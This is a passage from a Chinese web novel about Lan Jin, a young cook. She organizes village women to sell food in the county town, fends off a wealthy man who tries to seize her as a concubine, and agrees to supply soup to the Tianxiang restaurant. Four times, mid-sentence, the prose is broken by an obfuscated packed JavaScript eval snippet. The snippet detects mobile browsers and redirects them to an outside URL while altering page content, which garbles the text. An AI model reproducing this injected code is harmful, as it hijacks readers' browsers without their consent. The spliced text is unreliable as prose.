她心觉是在帮阿姐的忙，这样多快啊！瞧那金黄的面圈圈，不一会儿就炸得喷香了。 阿姐一手拿勺，一手团面糊，饶是动作再快，一次也只能弄一个小球球。 蓝锦心里无奈，却也不愿夺了她的小小欢愉。只拉安琴看着她的手，留意别让油星子溅上去。 孩童细皮嫩肉的，叫热油烫了可不是玩的。 安琴把萧仁禹留下的羊皮手套拿来，这副明显是女式的，小巧，也不知他从哪弄来的这个。 小秋就戴着大了一圈的手套，戴着帽子，围着家里最厚的围裙，连小脑袋上都扎了布。 双手举着长勺，小脸都憋红了，使出吃奶的力气，又乐在其中，俨然阿姐的小帮手。 她帮得也不算坏，一个个面糊圈，外圆中空，这不就是大型萝卜丝端子嘛！ 于是蓝锦和小秋，一人在这边炸丸子，一人在那边炸端子，这么大的一口锅，几乎不够姐俩施展。 金黄的萝卜丸子炸好了，漂在冒着大泡的油面上，蓝锦拿笊篱全给捞起来。 又留心着“萝卜丝端子”的火候，使长筷翻搅，逐个夹起来。 ** 萧仁禹本就不喜欢守岁。上有哥，下有妹，都太能折腾了。 自父亲没能从边塞回来，家里的氛围就冷清了。 倒是和他身上一贯的温度浑然一体了。 不该是这样的。原先母亲还会闹会笑，现在竟一心礼佛。 起居之处，连滚烫的茶水往那一搁，都能叫那凝重的氛围冻得不敢冒热气。 不，不能这样说。在小妹萧明昭抵死不愿去女学读“之乎者也”的时候—— 母亲还是会本性爆发，像以前一样，“嚯”地抽出长鞭，追得全家鸡犬不宁： “我叫你不读书！我叫你不读书！谁教你的枪法？谁教你的啊！” 还能有谁，当然是直到今天都还不安分的萧大世子。 “你带坏你妹妹，你也让她走你爹的老路？你也舍得！你也狠心！” 这回的鞭子可不再是虚张声势，鞭鞭到肉。 萧仁肃龇牙咧嘴：“母亲，别打了！我好不容易回一次家。妹妹喜欢那个！” 那种时候，家里似乎又恢复了往常欢声笑语的日子。当然只是错觉。 所以萧仁禹今年的年节，也是在值房过的。 “萧二郎，聪慧名头抢不过你，现在连勤奋都不如你。一销假就这么用功？也是，你积下的公务太多啦！” 萧仁禹咬紧牙关，笔一划就歪了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541954|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这都是拜谁所赐！拜谁所赐！ 已是三更天了，打更的人刚息了声音。长街上有遗留下的灯火，但到底比白日里冷寂许多。 对于他们这样宵衣旰食的上官、夜巡的当差人，以及打更的更夫，自有提瓶卖茶、担筐货饼的小贩等着做生意。 “郎君，新出炉的猪油酥饼，您来一个垫垫肚子？” 熟悉的名字留住了萧仁禹的脚步，他买了一个，比蓝小娘子卖得贵了一倍。 拿着粗油纸，凑到嘴边咬了一口，干涩，咯牙，还没有分层，这也能叫猪油酥饼！ 萧仁禹对着身后欲买的绯袍官员道：“这不是猪油酥饼，别买！” 绯袍官员疑惑地转头瞧他，还是给了钱，拿着酥饼咬了一口。 然后，用看傻子一样的神情看着他，扬长而去。 你们都不懂！ 萧仁禹悻悻地把酥饼揣在袖子里。若是吃过了蓝小娘子做的猪油酥饼，看他们还服不服气。 哎哎，这才回来多少时日，他脸颊的肉都快瘦没了。 年节里走亲访友的宴席上，萧仁禹又恢复了那种目光幽深，高不可攀，拒人千里的清泠模样。 几个满头珠翠，身着鹅黄、水红衫子的年轻女娘，以袖掩面，交头接耳地说着小话。 “前些日子一见萧二郎，似乎气质大变，我还差点不敢认。” “如今终于又熟悉了。哎，你说我让家里上门提亲，能不能成？” “你可想得挺美！遗世谪仙样的人物，你也敢肖想。” “也就你不敢想，我可敢想。” 只有萧仁禹知道，他不过是又回到吃不饱饭的日子，每天饿得满眼绿光，苦大仇深罢了。 能不能......让他......再吃一口......蓝小娘子的饭......哪怕就一口...... 蓝锦可一点也听不见他的心声。炸萝卜丸子大获成功，这可是她第一次炸呀。 第一次炸萝卜丝端子的小秋也是大获成功。 姐妹三人欢欢喜喜地围在火堆旁边。留待日后吃的丸子已经收起来了，她们要一起享受这将将出锅的。 刚炸好的萝卜丸子，外酥里嫩，汁水充溢。 边缘焦硬的小嘎巴格外香，支棱出来的萝卜丝尾巴存在感极强。 蓝锦试图学集市上看到的偷桃猴子，把小丸子高高抛起，拿嘴巴接。 一个也没接到，全落到面前的桌子上了。 “你们去县城，可看见人家做些什么饮食生意了？”安琴一边往簸箕里剥豆荚，一边问蓝锦。 “可多了，有糖葫芦小摊。熬点糖衣，洗点山楂，过节时，一串能卖五文，可有赚头了。” “孩子吃食最多。能当饭吃的，也有热汤面摊，不过浇头却少。闻着就知道，我煮的滋味比他们好。” 小秋还说：“还有糖人，还有糖画！上次阿姐还给我买了一只大凤凰！” 蓝锦点头道：“是，这个成本也不高，口味也没什么特别的。就是画画这门手艺难学。” 安琴笑道：“你不是也懂很难学的厨艺吗？这可不是谁都会的。” 12. 第12章 每顿饭当道小菜添上，炸萝卜丸子供姐妹几个一直吃到了十五。 蓝锦闲不住，在年初三就赶着驴车再赴县城。 做了山楂糕和酸枣糕，挂着一个大大的“蓝记”招牌，售卖给往来客人。 还叫她赶上了酷爱红糕的县令公子今哥儿，小摊的声名一下就宣扬出去了。 节庆经济诚不我欺，真让她赚得盆满钵满。 每块甜糕，刨去成本，约莫能赚两文钱。十几天下来，她居然赚了足足六两银子！ 十五一过，夜短日长，太阳一露头，不知不觉间，地上的坚冰积雪悄然融化。 村里最暖的一块地界，鹅黄的迎春花率先吐苞，报知春讯。 早市里边已有人卖起了新鲜的春菜和山果。 “锦娘，你瞧这个是不是？” “对，就这种竖条条的，上头棕，底下白。” 蓝锦带着村里的女娘们进了山，一同寻羊肚菌。 这种菌菇个头瘦高，营养价值极高，滋味也鲜甜，煮在汤里一股羊肉味。 春日里雾气重，山间的温差极大，几场春雨过后，这些小蘑菇就齐齐冒出来。 跟着蓝锦来的，都是买过她家蘑菇酱的女娘们。 说来这蘑菇酱买卖也是意外做成的。蓝锦在摆摊的间隙掏出自家蒸的大白馒头吃，一掰两半，涂上自制的地蘑酱，把过路人都香得一跟头。 地蘑人人都吃过，但一个个都像没见过好东西似的，非要试试。 那种盛况，就像正午时分的小学食堂，大家如狼似虎地盯着吃馒头夹辣条的同学，渴望对方分一点过过嘴瘾。 “锦娘会做蘑菇！我看这也能出摊去买了，你怎么不卖？” “做着怪麻烦的，找蘑菇也劳心劳力。而且，总不能单开一个地蘑酱摊子，专门让大家买回去拌饭吧？我一人忙不过来。” “这有什么，我就愿意卖，我也愿意买！” “我也愿意，还有锦娘你家的腌菜，顶顶够味，正好能一起卖。” 蓝锦细琢磨，她一个人分身乏术，若是大家一起合作，就不存在这个问题了。 后世不是有很多技术入股、加盟连锁的小店吗？就连路边摊，也是三三两两群聚在一起才有人气。 考察过县城的条陈，蓝锦走街串巷，和多位姐妹婶娘洽谈了合伙摆摊的打算，终于拍板了。 独木不成林，若是她们村多户人家一起去县城摆摊，最起码，气势上就不输别家。 除了羊肚菌，还有不少鸡腿菇。这种油黄的小菇其貌不扬，煮汤吃倒是一股鸡鲜味。 日影西斜，大家有说有笑地回了家，各种蘑菇都采了不少。 人人都在夸：“锦娘真是火眼金睛，她一指，我一看，那里就真的有！” 没有那么神，只是熟悉食材特性和生长偏好罢了。 这些山间野蕈还未在县城亮相，就先在蓝锦的小院里上了桌。 她只放猪油，熬了一大碗汤。只撒了一小撮盐，汤色却油亮浓郁，鲜味香醇。 下学的孩童们都跟着小秋往家跑，还有扒着墙头往里看的。 “这汤......好香好鲜！” “比老母鸡汤还香！” 他们真的信了，小秋和大丫成天讲，她们能吃上日常伙食，是他们从来都没吃过的，不是唬人。 蓝姐姐真是神奇，不用肉都能做出肉滋味！ 周家的陶窑交付了一笔大单，是蓝锦出面订的。她提供了草图，选定了用料配比，买下一大批煮汤用的小瓦罐。 现下，这些小瓦罐都放在一口深深的大锅里，裹挟在一团香气中。 “客官，真材实料的山珍瓦罐汤，您瞧瞧？有羊肚菌羊肉汤，鸡腿菇鸡汤，榆黄蘑腊肉汤。” 蓝锦这次可谓下了血本，杀鸡宰羊的不说，还收购了许多村里人做的腊肉。 好在婶娘们多数对蓝锦印象颇佳，并没有喊个高价。 饶是如此，小金库也狠狠出了血，若是今日不能卖完，裤衩子都能赔掉。 身后每一个都挂着“蓝记”招牌的同村姐妹们，给了蓝锦莫大的底气。 她们每个人都觉得新鲜，不少人从未踏足县城做生意，跟着蓝小娘子，第一票就干了个大的。 心中兴奋压过忐忑，个个使出浑身力气在吆喝。 “手工现做的山菇酱咧！滋味美，舍得搁油，一勺能吃一顿饭嘞！” “古法腌咸菜，买三样，我还送您一样！买五样，我送您两样！” 吴老太正在拌小菜，面前一大盆一大盆，有萝卜干子，酸豆角，梅干菜，腌青瓜丝，腌木瓜丝，腌雪里蕻。 还有花花绿绿的，是卷心菜丝拌上胡萝卜丝、水芹菜丁，叫盐杀过水，爽口又酸脆。 她本身就擅长做些腌菜，又经蓝锦一点拨，经验和技巧一结合，手艺突飞猛进，天南海北的腌菜都触类旁通。 这都是平民的智慧，贱价菜也能做出好味道。 刚出锅的腌芥菜疙瘩，褐红咸亮。吴老太“夺夺”切丝，嗓门洪亮： “把馒头一掰两半，中间夹上一大筷子芥菜丝，哎，老婆子不说大话，只要你一尝，千金不换！” 小摊车还挂着“先尝后买”的旗子，明码标了价格，每斤从十五文到二十五文不等。 附近的住户最先拈起试吃的竹签子，把小块咸菜放进嘴里一尝—— 看着其貌不扬的，跟街边小店里送的咸菜没什么分别。可这韧中带着嚼劲、微辣微麻的味道，一下就把人钩住了。 好些人围着这群县城里的新来客，说道：“家家都做的腌咸菜，有什么卖头？花样倒是挺多。” 已知其中滋味的住户们不顾窃窃私语，只一味地逐一品尝下一个。 吴老太也不嫌人尝得多，她对自己有信心，对蓝小娘子更有信心。 唔，这个咸脆耐嚼，那个酸香开胃。嚯，这个就脆嫩辣口！还有酸甜清爽的，五颜六色的。 最后吃到腌雪菜，嘿，咸辣，下饭！ 但凡尝过的客人，纷纷掏腰包，豪爽开口：这个，这个，还有这个。统统都要！ 卖竹筒饭的李娘子仍穿着她那件最拿得出手的蓝布衣衫，衣角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541955|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发白，钻过来见缝插针： “您买了这腌菜和拌饭酱，不如再尝尝我家的竹筒饭。甜咸两味的，都能搭配，省得开灶了！” 竹筒装了白米，甜的搁了猪油白糖，咸的搁了山野菜和腊肉粒，扔炭火里烤熟了，散发一股清香。 蓝锦现代人思维作祟，一吃饱点肚子，仍尊杂粮为好东西，健康，稳血糖，增加膳食纤维！ 所以她仍叫李娘子再多做些杂粮饭版本的，价码高低不一，丰俭由人。 还有卖野菜豆腐包的，卖玉米面菜团子的，卖杂粮粥的，炒杂菜的，无一不是趁势揽客。 蓝锦带大家准备的竹马扎几乎不够用。买了当下就要吃的客人，甘愿捧着碗站着吃。 还很乐在其中，一副享受的样子。 “好吃！你们蓝记的味道，比酒楼里的还新鲜。” 万年县的居民们也是第一次见这等阵势。 这群挂了“蓝记”牌子的小摊们，个个都用着差不多的推销方式，卖的东西还各有特色。 挑得人眼花缭乱，想买什么都有，简直是一站式购齐。 一番热闹下来，唯有蓝锦的瓦罐汤摊子生意不够火热。 无他，因为是正经的肉食，还放了许多高端的食材，不是所有人都能接受这个价格。 蓝锦面上稳如泰山，她不想给姐妹们泄气。心里却还忍不住打鼓，暗暗给自己打气： 蓝锦蓝锦不要怕！熬过这阵就发家！ 瓦罐汤的生意也并不是无人问津，斜对面的酒楼里，零星有客人闻着香味，让楼里跑腿的小二买上一份。 他们去得起酒楼，自然不在乎这区区三十文一罐汤。 羊肚菌羊肉汤的香味掩不住，一揭开盖子，浓俨俨的直冲人天灵盖。 “这是什么香味？哎，小二，那桌的什么汤，也给我来一份！” “客官，那汤是客人自家带的。我们家有老母鸡汤，您要不来一份尝尝？汤这东西，都差不多的！” 大堂的管事一早发现了客人往外头买瓦罐汤的动静，吩咐小二打马虎眼。 “也行吧。” 随遇而安的客人没那么多执念，有的吃就算了。但仍有那执着的老餮疑惑得抓耳挠腮。 怎么这桌，和那桌，都喝上了这香得勾魂的汤。而且，他们那黑棕棕的瓦罐都一模一样！ 没道理家家户户的小厨房，都用一样的餐具吧。这罐形还这么新奇别致。 “去打听打听，他们那好汤，都是从哪里弄的。” 带了家仆的食客派人直接去问，跟着摸到了蓝锦的摊子上。 她喜出望外，刚才还没多少动静，怎么这会一波波客潮涌上来了。 无他，最先问到的那位公子一勺入口，瞬间高声惨叫：“好烫！” 这一下吸引了全场的注意，却见他咂摸了两下，顽强地去喝第二口，只是这次知道吹吹凉了。 “人间至味，人间至味！没想到啊，小小食摊，胜过万年第一食肆百倍千倍！” 他当下坐的地方，就是万年县里人人称道的第一食肆，天香楼。 13. 第13章 齐公子是万年县有名的老餮，家有肥田，又有庄子铺子，无所事事，十日倒有九日在天香楼徘徊。 他学机灵了，要伙计给他拿来一个空碗，把小瓦罐里的肉汤倒进碗中。 这瓦罐看起来不大，还挺能盛的，满满登登一大碗。 “齐公子喝的这是什么，里头还有黑涂涂的东西，不知是肉还是菜啊？” “这味道可真好。难道是天香楼又出新品了，还只供给大客户？” 齐公子头也不抬，拿勺子不住往嘴里送，只能够插空说道：“门外，门外！穿红石榴裙的小娘子，她家卖的！” 众人得了消息，立刻奔出门外，小二拦人不住，只能徒劳地伸着手：“我家也有，有汤，嗳，您别走啊。” 蓝锦的小摊子冷清了大半晌，饭点都快过了，倒是热闹了起来。 她笑得面羞春色，手脚利落：“羊肚菌配羊肉的，三十文。这鸡腿菇鸡肉的，就只要二十五文。” 齐二郎悠哉游哉地晃出天香楼，抚着自己圆滚滚的肚皮，踱步到了蓝锦的瓦罐汤小摊前。 耐心等到蓝锦卖得差不多了，便笑眯眯地开腔： “小娘子，你这手艺是顶尖的，在这当街卖汤水屈才了，跟我回了内宅，做个私厨多好，专给我一人做菜。” “每月，我给你二两银子！年底再赏你两身绸缎衣裙，银钗银环的，岂不风光体面。” 蓝锦听着他那轻慢的语气，便已皱了眉头，只不卑不亢道：“郎君的好意心领了，我放不下自家小摊，便不去您家献丑了。” “哟，硬气，也是，小娘子有手艺在身，傲气了点也正常。这样，每月我给你五两银子！” 李娘子撇下了自家小摊，捧着一个竹筒饭就上前了：“这位大公子，我愿去，不要五两这么多，您随便给个数都成。” 齐二郎打眼一瞧这咸竹筒饭，白米里沁着淡黄的油光，野菜末和腊肉粒各显其味，引人流口水。 “嗯，做饭的人心思巧，这个花样，只怕也是这位......”，他一扫家家都挂的“蓝记”招牌，当下就猜出来了，“蓝小娘子想的吧。” 李娘子讪讪的，缩回了手，又回到自家摊子旁，跟婶娘们嘟囔道：“五两银子，这还摆架子拿乔，小心人家不要你了。” 蓝锦仍旧面不改色，对齐二郎道：“郎君抬举我了，人各有志，不必强求。我只愿守着自家的小摊，让大家都尝尝我的手艺罢了。” “你这娘子恁地短视！终日在这街上，起早贪黑，辛苦不说，只怕你那一双酥玉手，都该糙得没法看了。” “刚来城里吧？须知开路边小摊的，风餐露宿，没铺面，没靠山，没牌子。那是下等人中的下等人，日后再碰上个地痞流氓滋事，人人都能来欺辱你几分！” 蓝锦心想：等什么日后，你现在不就是个欺辱我们的地痞流氓吗？ 过路的贩夫走卒也停下了脚步，好奇地谈说着。 “嗳，谁家出五两银子聘厨娘呐，真舍得。” “得是饮露水的公子哥，才能干出这样的事。你们不知道，早先有个落魄了的大家子，阖家就剩他一个了，他还能把传家的玉菩萨，拿去换酒肉吃呢。” “那小娘子也是时来运转，碰上好人家了。” 她把饭勺往桌上一扔：“世上不是人人都生来富贵。我们有手有脚，肯干肯拼的，便是顶天立地的人物，谈何下等？” “我哪怕三更起火，五更熬汤，赚个自在随心，比看人脸色好上万分，还不需你来替我拿主意。你说地痞欺人，可我做事堂堂正正，他若敢欺我，自有人替我分辩。” 齐二郎更来了劲，满脸兴味：“妙啊，还是个烈性子，不同凡响，不同凡响！这么一说，我倒更想带你走了。莫非，你看不上做我家厨娘？” “行罢，我也学一回风流公子，便给你家人几锭银子，聘了你做个小妾，花轿一抬，穿金戴银，这总行了？” “来人呐，把我家娘子，接回齐宅！” 还不待蓝锦冷笑出声，青苗婶子就抛下了手中的豆腐包子，拿着把菜刀，挤到前头来： “你这挨千刀的贼囚根子！光棍儿屙出来的恶胚子！强抢民女，凭你也配？癞蛤蟆想吃天鹅肉，也不撒泡尿照照！” “金裹银包的贱种，□□有几根癞子毛，倒拿出来显摆！嘴里说得好听，心里净琢磨不干不净的事儿！” “你娘生你出来，是叫你当街抢人的？面皮比城墙倒厚三分，穿着人袍，就不晓得自己几斤几两了？说了不愿，没听见啊？人家女娘好好地卖个吃食，你还惦记上了？” 蓝锦悄悄一戳身后的年轻娘子，给她指了县衙的路，叫她报说有人强抢民女。 齐二郎倒是动了真怒，自他出生起，就没有受过这样的气。一推二拒，他只当是情趣，现在骂到他脸上，蓝锦还嘴角含笑地看着，傻子也明白了。 围观的众人也有嗡嗡的议论声：“人家清清白白做个小生意，何必去深宅大院里为奴为婢？” “也太霸道了些，当街就要抢人回去做妾，好没道理。” “我们走街串巷，不偷不抢的，为家小奔忙，就活该让有钱人随意使唤吗？” “你们不知道，齐家家有良田千顷，铺子利润也多，月月都有白花花的银子流进去。哪怕是做妾，也立刻翻身做了人上人，那还需要过这样手停口停的辛苦日子。” 他的声音大了些。蓝锦听得真切，劈头盖脸地高声道：“要做，你自家去做！” 眼看场面僵持不下，战火愈演愈烈，两方分毫不让。 “诸位别着急，有话好好说，有话好好说嘛！”天香楼的萧管事突然冒出来，站在蓝锦的小摊前打圆场。 “这一时半会也分说不明，我这刚煮了陈皮水，齐公子肯不肯赏光，到我家厢房一叙，品鉴一二？我家的菜品，可都仰仗您的意见！” 萧管事打着千儿，扬起笑脸，捧着自家大客户。 齐二郎此时已经后悔，谁想到这女娘这么刚硬，他也是一时冲动了点，随意逗弄一下，怎么就演变成当街撕扯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541956|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，强抢民女了。 没了面子固然难受，但要是让老太爷知道了，可不是好玩的。 此时有人捧着他，他立刻就坡下驴，从这滚烫的火架子上下去了。 蓝锦也混不当一回事，过去便过去了，招呼着婶娘姐妹们，仍旧顾着摊子上的生意。 萧管事却是还留在大街上，与蓝锦叙话：“蓝小娘子，我家掌柜的有请，有桩事情，想与蓝小娘子商讨。” 横竖瓦罐汤的存货今日也快售空了，这天香楼阴差阳错也算帮自家解了围。 蓝锦拿帕子一抹手，知会了青苗婶子一声，跟着萧管事去了三楼厢房。 “蓝小娘子，我萧曼娘生平最佩服靠自己双手吃饭的女娘。不靠父母亲族，不靠夫家门楣，有志气，好本领！” 一个穿着杏黄织金襦裙的妇人，乌云压鬓，金钗轻晃。眉眼生得妩媚，正含笑等着蓝锦。 “见过萧大掌柜，我并没什么不得了的本领，不过靠手艺吃饭，凭劳动赚钱罢了。不知掌柜的有请，所为何事？”蓝锦一揖，浅笑道。 “蓝小娘子真是开门见山的爽快人。好，那我也不绕弯子了。小娘子侍弄一手好汤水，在外风吹日晒，毕竟利润微薄。” “同样一罐汤，若是当街喝卖，不过区区三十文。若是我这酒楼出了此物，我敢保证，少说，也能卖到三百文。” 三百文！蓝锦小小吃了一惊，这却是她之前不敢想的数字。 不过一瞬，她又了悟了，天香楼家大业大，少说也在此地开了几十年，才经营到如此规模。 早已不是追着市场跑，而是她们卖什么，客人就吃什么，无论价格，永远不缺拥趸。 但她也不怕：“萧掌柜财运亨通，自然不是当下的我可以比的。不过，猫有猫道，鼠有鼠道。我的摊子小，需要顾念的也不像萧掌柜这样繁杂。现下养活家小，还是绰绰有余的。” “未及谢过萧掌柜好意，为我解围，请走滋事之人。我无意与掌柜的争辉，但这薄利小摊，我仍是会做下去的。”蓝锦俯身致谢。 “哎呀，蓝小娘子，你这可就误会我了！”萧曼娘一合掌，执壶自斟一杯：“我不是来叫小娘子关门大吉，而是要与小娘子合作呀。” 她细细说了让蓝锦供货寄卖的计划，五五分成。算算进项，要比蓝锦独自售卖，利润至少翻上五倍。 如此倒是一桩好买卖。萧曼娘言语之间，处处为蓝锦着想。 为她提供住处，免了奔波之苦。听说家有幼妹，还愿意送她去慈明寺在县城开设的女学读书。 蓝锦为人谨慎，几番商讨，把那契子来回看了又看，字眼推敲了又推敲。最终，还是先签下了两个月。 菌菇本就是时鲜货，虽然萧曼娘直说不要紧，再开发新品便是，可蓝锦不想一步迈得太大。 她不懂古代的规矩，短期试试水，总没错吧。妹妹转学却也不必了，家小都捆绑住了，未免太过被动。 眼见蓝锦从天香楼里平安无事走出来，阴影里的萧仁禹才走远了。 14. 第14章 “乖乖，楼里的人，可曾为难你了？”待蓝锦回了那一片蓝记小摊，婶娘姐妹们都涌上前关怀。拉着她的手，上看下看。 “怎么进去了这么久，他们想要做什么？是好事还是坏事？”青苗婶子追问道。 “好事，是好事。说要和我合作卖瓦罐汤，已经正经签了契子了。”蓝锦笑眯眯地回答。 “阿弥陀佛，菩萨保佑。还以为是要赶我们走。”蓝布衣衫的李娘子念了声佛。 “李娘子，你可别泄大家伙的气了。刚才蓝小娘子被人为难，你还剃头挑子似的往上凑。那么想跟人走，干脆，你这摊子也还给蓝小娘子，村里有的是人想要做！” “谁说的？我可没说这样的话。我那不是怕她年轻不知事，分不清好赖？现在不是没事了嘛。” “那蓝小娘子，你日后还跟我们一起摆摊吗？”一位婶子有点着急地看着蓝锦。她本就胆小，是眉飞色舞的蓝锦鼓励她，叫她忍不住信任依赖。 “摆，还摆。横竖只是寄卖，省下来吆喝叫卖的时辰，都能做新东西摆摊，又不是把我一天都绑在了天香楼。” 婶子高兴了，这才放了心。 蓝锦这边还跟大家致歉：“本想把其他的吃食都推销出去，像吴阿婆的腌菜，这么受人欢迎，还有野菜包子，也美味好卖。可酒楼规矩甚多，只愿意要瓦罐汤，我终究也无能为力。” “这孩子，说的哪里话。哪有在大酒楼寄卖乡野咸菜的道理！人家看上我们的汤，已是烧了高香了。再说了，你指点得好，我们摆摊的进项，已经了不得了。往常哪敢想啊，没谁不知足的！”吴老太把手一挥，不叫蓝锦说下去。 蓝锦对着一张张真挚的面孔，也舒了一口气。她忽地想起一事：“阎姐姐，刚刚可是寻到了县衙，可有为难你？” 阎娘子摆摆手：“没事，我好着。寻倒是寻着了，可根本没进县衙的门，县令的尾巴毛都没见到一根，就叫一个黑衣军户给拦下来了。” 她清清嗓子，粗着声线模仿：“厚，你回去吧！这事我知道了，让人去走一趟就得了！” “可来了？怎么说？” “倒是真来了几个军户打扮的人，话都没说上几句，知道齐二郎走了，说他们记下了，也走了。” 虽然行事怪异了些，但到底没生出什么风波，蓝锦便放过了，又和大家一起琢磨，除了瓦罐汤，还能做什么吃食。 “还做肉食，小娘子侍弄肉食好吃！说不定还能招来大酒楼。” “招来什么都好，只不要再招来烂桃花才好！” 蓝锦无奈道：“不要再乌鸦嘴了。”和大家一起说说笑笑，糟心的风波也像风一样过去了。 “头儿，就是他，旁人喊他齐公子！”一个军爷站在天光朗朗的窄巷，对着眼前的脏污麻袋说道。 麻袋里的人刚遭一顿拳脚伺候，已经晕了过去，人事不知。 “行了，回去找二公子复命。记牢了，不要让大公子知道！” “你，再去瓦罐汤摊子那，买三罐热汤，每样来一罐，给二公子送去。悄悄的，不要让大公子知道。” “这......”大公子能不知道吗？回回这种吩咐瞒不住。 “啧，榆木脑袋，你让二公子以为不是我们说的，就行了。别的你管它呢！” 萧仁禹正在县衙的客房里踱步。他大哥非要犒赏在这辛苦练兵的属下们。 借了万年县县衙的地界，还非得让他也来，美其名曰，现在萧仁禹也是一名合格的兵士了。 他不愿意在宴席上多待——饭菜不合口，走到门外透口气，便远远看到一个熟悉的身影。 那不是陪蓝小娘子摆小摊时见过的村民吗？她怎么来到万年县了？ 使人过去一问清楚，他就皱了皱眉头。 “回二公子，最好的羊肚菌羊肉汤卖没了，鸡腿菇鸡肉汤也没了，只剩下榆黄蘑腊肉汤。公子要吗？不要我们就拿去分了。” 萧仁禹黑着脸接过来，扬长而去。 汤白肉鲜，小小的黄蘑菇柔韧味美，萧仁禹发出满足的喟叹，可让他吃上了一口热乎的饱饭！ 这瓦罐上好像还能闻到羊肉汤和鸡汤的味道，可惜他知道迟了，蓝小娘子，怎么来县城摆摊了？ 天香楼里的瓦罐汤一挂上木牌，就立即叫新老客人抢售一空。 大家口耳相传，都知道蓝记小摊的瓦罐汤，在天香楼寄卖，那个味道，足让人魂牵梦萦。 蓝记这边的买卖也没断。她开发了新的小食，炸签儿！ 菜蔬鱼肉处理停当，婶娘姐妹们齐上阵，个个戴着纱布覆住口鼻。一字排开，各司其职，开始串串！ 蓝锦采买的食材新鲜，种类也多种多样。包菜，豆角，韭菜，茄子，藕片，蘑菇，不一而足。 还狠借了安琴豆腐坊的光，上了好些豆筋，豆腐皮，油豆泡。 此外，还有顶饱的年糕，面筋，玉米，土豆片。有些素菜按食材口味，薄薄裹了一层调过味的面糊。 荤菜也舍得下血本，有咸甜味的小腊肠，鸡里脊，小河虾，鹌鹑蛋，甚至还有羊肉配羊油。 初步加工过的串串更诱人，有那塞了虾肉糜的鸡子卵，酿了葱花猪肉馅的青椒，只待炸成有金黄褶皱的虎皮状。 更别提那裹了香菜的牛肉片，裹了金针菇的豆皮，还有裹了山野菜的腊肉片。 对，还有那馒头片。 炸签儿连炸油也要特制。蓝锦腾出手来，把那肥嘟嘟、黄灿灿的走地鸡肥膘熬成鸡油，辅以一小块羊肥油。 再掺进浓香洁白的猪油，滤得澄净透亮。 加入多多的红葱头，香菜，生姜，小葱，和精心选配的香料。 小火炸得满屋飘香，直至锅内种种都焦黄干透成渣。 这样做的香料油，炸桥头的垂杨柳都能啃掉三排吧！ 此外再去做蓝记秘制酱，一种搁了桃酥、花生和芝麻的干料，咸香里带着些微麻微辣。 一种搁了香料粉，泼了羊油的红油辣子。 一种偏甜口的咸鲜酱，因勾了芡而浓浓的，极易挂汁。 还没忘照料早就发起来的面团，烙成一张张薄而韧，油而透， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541957|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回口劲道的卷饼皮。 如是装了满满一车，还未等蓝锦将炉灶搬下来，酱汁和香料油的风味就吸引来一大帮走街串巷的孩童。 “老板快开张，快开张！我饿啦，快饿晕啦！” 直到热油锅架起，五花八门的竹签串串“哗啦啦”地往里一搁，人群更是激动。 “好香啊！” 小秋叉腰站在小板凳上，严肃地维持秩序：“不要挤，不要挤，挤的人吃不着！” 蓝锦手中一边顾着油锅火候，一边大声地吆喝：“蓝记特制炸签儿，荤素都有，素的两文，荤的五文！” 签儿虽不大，味道却实在香。何况价格也是极公道的，是以食客们一窝蜂围上来，看这个也想要，那个也想尝。 蓝锦这时拿出卷饼来，对举棋不定、选择困难症的女娘郎君们说道： “咱们家还有卷饼套餐，有三十八文，四十八文，五十八文好几档。您若选不出来，只管叫我替您定。” 如是人人叫好，响应热烈，不多时就卖出好些份。 炸签儿卷饼捧在手里热乎乎的，烫得云江望不停地左手倒右手。 她还从怀里扯出块帕子裹了，顽强地张嘴去咬。 嗯！她最爱这里面的炸包菜。 沾满了咸甜酱汁，一口咬下去脆生生的。汁水四溢，酥香十足。 每一种肉都有自己独特的腌料，外酥里嫩。 要是不赶紧放进嘴里，肉汁子就该流到手上了！ 云江望大口咬着这炸签儿卷饼，满心满眼都是幸福，只想再来一个。 